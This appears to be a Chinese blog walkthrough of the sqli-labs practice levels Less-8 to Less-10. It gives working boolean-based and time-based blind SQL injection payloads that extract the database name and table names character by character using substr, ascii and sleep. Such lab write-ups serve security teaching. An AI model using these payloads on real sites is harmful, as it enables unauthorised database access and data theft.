补充知识
length() 返回字符串的长度
substr(1,1,1) 是 SQL 中用于截取字符串子串的函数,广泛用于数据库(如 MySQL、Oracle、PostgreSQL 等),在 SQL 注入(尤其是盲注和报错注入)中常被用来逐字提取数据。参数分别为截取的字符串,起始位置,截取长度
ascii() 返回该字符的ascii码值
Less-8

测试此题目为 ' 闭合,但闭合后页面无回显,也没有报错信息,考虑到使用盲注来测试
?id=1' and (length(database()))=8--+ 从1开始测试,只有8页面正常,说明该数据库长度为8
?id=1' and (ascii(substr(database(),1,1)))=115--+ 页面正常,说明数据库第一个字母ascii为115 s
?id=1' and (ascii(substr(database(),2,1)))=101--+ 第二个字母为e
依次类推,可使用python脚本快速完成,测试出数据库为security
?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101 --+ 猜解表名
其余只需要修改substr()里面的第一个参数为查询语句即可,查询语句和Less1 类似
补充知识
sleep() 是 MySQL 中的一个时间延迟函数,常用于 时间盲注。当页面无回显、无报错时,攻击者可通过 SLEEP() 观察响应时间差异,间接判断 SQL 条件真假。
if(1,2,3) 是 MySQL 中的 条件判断函数,其含义是:如果条件为真(非0/非NULL),返回第二个参数;否则返回第三个参数。
Less-9

页面无论输入什么都没有变化,并且使用布尔盲注上一题的方法也没有用处,这时考虑另一种方法,采用时间盲注,通过返回页面的时间来判断
?id=1' and if (length(database())=8,sleep(5),1) --+
经过测试,数据库长度为8,页面反应时间与其余不一致
?id=1' AND IF(ASCII(SUBSTR(DATABASE(),1,1)) = 115, SLEEP(5), 1) --+ 数据库字母为S
?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101, SLEEP(5), 1) --+ 猜解表名
其余只需修改substr中的查询语句即可
Less-10

只是闭合条件与Less-9不同,其余步骤一致,此处的闭合条件为 "
2481

被折叠的 条评论
为什么被折叠?



